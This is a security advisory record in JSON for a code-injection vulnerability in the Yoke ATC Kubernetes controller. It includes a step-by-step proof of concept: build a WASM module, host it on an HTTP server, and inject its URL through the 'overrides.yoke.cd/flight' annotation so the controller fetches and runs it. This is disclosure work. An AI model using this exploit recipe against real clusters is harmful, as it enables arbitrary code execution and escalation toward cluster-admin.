{"schema_version":"1.7.3","id":"GHSA-wj8p-jj64-h7ff","published":"2026-02-12T22:06:45Z","modified":"2026-02-19T20:41:00.924491Z","aliases":["CVE-2026-26056","GO-2026-4493"],"summary":"Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC","details":"# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC\n\nThis vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level.\n\n**Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection)\n\n## Summary\n\nYoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code.\n\n## Details\n\nThe vulnerability exists in two code paths:\n\n**Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`):\n```go\nconst (\n    AnnotationOverrideFlight = \"overrides.yoke.cd/flight\"\n    AnnotationOverrideMode   = \"overrides.yoke.cd/mode\"\n)\n```\n\n**Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(cr.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n    xhttp.AddRequestAttrs(r.Context(), slog.Group(\"overrides\", \"flight\", overrideURL))\n    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly\n}\n```\n\n**Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`):\n```go\nif overrideURL, _, _ := unstructured.NestedString(resource.Object, \"metadata\", \"annotations\", flight.AnnotationOverrideFlight); overrideURL != \"\" {\n    ctrl.Logger(ctx).Warn(\"using override module\", \"url\", overrideURL)\n    // Simply set the override URL as the flight path and let yoke load and execute the wasm module\n    takeoffParams.Flight.Path = overrideURL  // User-provided URL used directly without validation\n}\n```\n\nThe permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code:\n```go\naccessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create(\n    r.Context(),\n    &authorizationv1.SubjectAccessReview{\n        Spec: authorizationv1.SubjectAccessReviewSpec{\n            ResourceAttributes: &authorizationv1.ResourceAttributes{\n                Verb:     \"update\",\n                Group:    \"yoke.cd\",\n                Version:  \"v1alpha1\",\n                Resource: \"airways\",  // Only checks airway update permission\n            },\n        },\n    },\n)\n```\n\n## PoC\n\n### Environment Setup\n\n**Prerequisites**:\n- Docker installed and running\n- kubectl installed\n- Go 1.21+ installed\n- kind installed\n\n**Step 1: Create Kind cluster**\n```bash\ncat > /tmp/kind-config.yaml << 'EOF'\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nname: yoke-vuln-test\nnodes:\n- role: control-plane\nEOF\n\nkind create cluster --config /tmp/kind-config.yaml\n```\n\n**Step 2: Build and install Yoke CLI**\n```bash\n# Clone yoke repository\ngit clone https://github.com/yokecd/yoke.git\ncd yoke\n\n# Build yoke CLI (patch version if needed for compatibility)\nGOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke\n\n# Verify installation\n/tmp/yoke version\n```\n\nExpected output:\n```\n╭───────────────────────────────┬──────────╮\n│ yoke                          │ v0.18.0  │\n│ toolchain                     │ go1.25.6 │\n│ k8s.io/client-go              │ v0.34.1  │\n│ github.com/tetratelabs/wazero │ v1.6.0   │\n╰───────────────────────────────┴──────────╯\n```\n\n**Step 3: Deploy ATC**\n```bash\n/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest\n```\n\nExpected output:\n```\nCluster-access not granted: enable cluster-access to reuse existing TLS certificates.\nGenerating TLS certificates, this may take a second...\nFinished generating TLS certificates.\n---\nsuccessful takeoff of atc\n```\n\n**Step 4: Verify ATC deployment and permissions**\n```bash\nkubectl get pods -n atc\nkubectl get clusterrolebinding | grep atc\n```\n\nExpected output:\n```\nNAME                       READY   STATUS    RESTARTS   AGE\natc-atc-6d4bcb7665-wvqkt   1/1     Running   0          22s\n\natc-atc-cluster-role-binding   ClusterRole/cluster-admin   22s\n```\n\n**Step 5: Deploy Backend Airway example**\n```bash\n/tmp/yoke takeoff -wait 60s backendairway \"https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz\"\n```\n\nExpected output:\n```\nsuccessful takeoff of backendairway\n```\n\n### Exploitation Steps\n\n**Step 1: Create malicious WASM module**\n\nCreate `malicious-wasm.go`:\n```go\n// Malicious WASM module for VUL-001 vulnerability verification\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n)\n\nfunc main() {\n    // Create a ConfigMap to prove arbitrary code execution\n    resource := map[string]interface{}{\n        \"apiVersion\": \"v1\",\n        \"kind\":       \"ConfigMap\",\n        \"metadata\": map[string]interface{}{\n            \"name\":      \"stolen-credentials\",\n            \"namespace\": \"default\",\n            \"labels\": map[string]string{\n                \"vulnerability\": \"VUL-001\",\n                \"type\":          \"exfiltrated-token\",\n            },\n        },\n        \"data\": map[string]string{\n            \"vulnerability\": \"VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution\",\n            \"proof\":         \"This ConfigMap was created by malicious WASM code\",\n        },\n    }\n\n    resources := []interface{}{resource}\n    output, _ := json.Marshal(resources)\n    fmt.Println(string(output))\n}\n```\n\nCompile to WASM:\n```bash\nGOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go\n```\n\n**Step 2: Host malicious WASM**\n```bash\npython3 -m http.server 8888 &\n```\n\n**Step 3: Get host IP accessible from Kind cluster**\n```bash\nHOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)\necho \"Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm\"\n```\n\n**Step 4: Create malicious Backend CR**\n```bash\nMALICIOUS_URL=\"http://${HOST_IP}:8888/malicious.wasm\"\n\nkubectl apply -f - <<EOF\napiVersion: examples.com/v1\nkind: Backend\nmetadata:\n  name: malicious-backend\n  namespace: default\n  annotations:\n    overrides.yoke.cd/flight: \"${MALICIOUS_URL}\"\nspec:\n  image: nginx:latest\n  replicas: 1\nEOF\n```\n\nExpected output:\n```\nbackend.examples.com/malicious-backend created\n```\n\n**Step 5: Verify exploitation**\n\nCheck ATC logs:\n```bash\nkubectl logs -n atc deployment/atc-atc | grep -i \"override\\|malicious\"\n```\n\nActual log output from verification:\n```json\n{\"time\":\"2026-02-01T13:58:30.4998068Z\",\"level\":\"INFO\",\"msg\":\"request served\",\"component\":\"server\",\"code\":200,\"method\":\"POST\",\"path\":\"/validations/backends.examples.com\",\"elapsed\":\"375ms\",\"overrides\":{\"flight\":\"http://172.17.0.1:8888/malicious.wasm\"},\"validation\":{\"allowed\":true,\"status\":\"\"}}\n{\"time\":\"2026-02-01T13:56:33.826710613Z\",\"level\":\"WARN\",\"msg\":\"using override module\",\"component\":\"controller\",\"url\":\"http://172.17.0.1:8888/malicious.wasm\"}\n```\n\nCheck HTTP server logs (shows WASM download):\n```\n172.18.0.2 - - [01/Feb/2026 21:55:58] \"GET /malicious.wasm HTTP/1.1\" 200 -\n172.18.0.2 - - [01/Feb/2026 21:56:32] \"GET /malicious.wasm HTTP/1.1\" 200 -\n172.18.0.2 - - [01/Feb/2026 21:56:33] \"GET /malicious.wasm HTTP/1.1\" 200 -\n```\n\nCheck created ConfigMap:\n```bash\nkubectl get configmap stolen-credentials -n default -o yaml\n```\n\nActual output from verification:\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: stolen-credentials\n  namespace: default\n  labels:\n    vulnerability: VUL-001\n    type: exfiltrated-token\n    app.kubernetes.io/managed-by: atc.yoke\n    instance.atc.yoke.cd/name: malicious-backend-v2\ndata:\n  vulnerability: 'VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution'\n```\n\n### Expected Result\n\nThe malicious WASM module is downloaded and executed by the ATC controller, creating a ConfigMap named `stolen-credentials` in the cluster. This proves arbitrary code execution in the ATC controller context.\n\n## Impact\n\n**Vulnerability Type**: Remote Code Execution (RCE) / Code Injection\n\n**Attack Prerequisites**:\n- Attacker has permission to create/update Custom Resources managed by Yoke ATC\n- Network access to host malicious WASM (can be external URL)\n\n**Impact Assessment**:\n- **Confidentiality**: High - Attacker can create resources to exfiltrate data; if ClusterAccess is enabled, can read cluster secrets via host functions\n- **Integrity**: High - Attacker can create/modify arbitrary Kubernetes resources through WASM output\n- **Availability**: Medium - Attacker can disrupt cluster operations by creating malicious resources\n\n**Attack Scenario**:\n1. CI/CD developer or application developer with CR permissions creates a Backend CR with malicious annotation\n2. ATC controller downloads and executes attacker-controlled WASM\n3. Malicious WASM creates backdoor resources or exfiltrates sensitive data\n4. If ClusterAccess is enabled, attacker can read secrets and escalate to cluster-admin\n\n## Severity\n\n**CVSS v3.1 Score**: 8.8 (High)\n\n**Vector**: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n- Attack Vector (AV): Network - Malicious WASM can be hosted externally\n- Attack Complexity (AC): Low - Simple annotation injection\n- Privileges Required (PR): Low - Only CR create/update permission needed\n- User Interaction (UI): None - Automatic execution on CR creation\n- Scope (S): Unchanged - Impact within ATC controller context\n- Confidentiality (C): High - Can access controller context data\n- Integrity (I): High - Can create arbitrary resources\n- Availability (A): High - Can disrupt cluster operations\n\n## Affected Versions\n\n- Yoke ATC v0.18.x and earlier versions\n- All versions that support the `overrides.yoke.cd/flight` annotation\n\n## Patched Versions\n\nNo patch available at time of disclosure.\n\n## Workarounds\n\n1. **Disable annotation override feature**: Remove or disable the `overrides.yoke.cd/flight` annotation processing in production environments\n\n2. **Network policy**: Restrict ATC controller's outbound network access to prevent downloading external WASM modules\n\n3. **RBAC hardening**: Limit CR create/update permissions to trusted users only\n\n4. **Admission webhook**: Deploy a validating webhook to reject CRs with `overrides.yoke.cd/flight` annotations\n\n## References\n\n- Yoke Project: https://github.com/yokecd/yoke\n- Yoke ATC Documentation: https://yokecd.github.io/docs/airtrafficcontroller/atc/\n- CWE-94: Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html\n\n## Credits\n\ncredit for:\n@b0b0haha (603571786@qq.com)\n@lixingquzhi (mayedoushidalao@163.com)","affected":[{"package":{"name":"github.com/yokecd/yoke","ecosystem":"Go","purl":"pkg:golang/github.com/yokecd/yoke"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.19.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-wj8p-jj64-h7ff/GHSA-wj8p-jj64-h7ff.json"}}],"references":[{"type":"WEB","url":"https://github.com/yokecd/yoke/security/advisories/GHSA-wj8p-jj64-h7ff"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26056"},{"type":"PACKAGE","url":"https://github.com/yokecd/yoke"}],"database_specific":{"cwe_ids":["CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-02-12T22:06:45Z","nvd_published_at":"2026-02-12T22:16:06Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}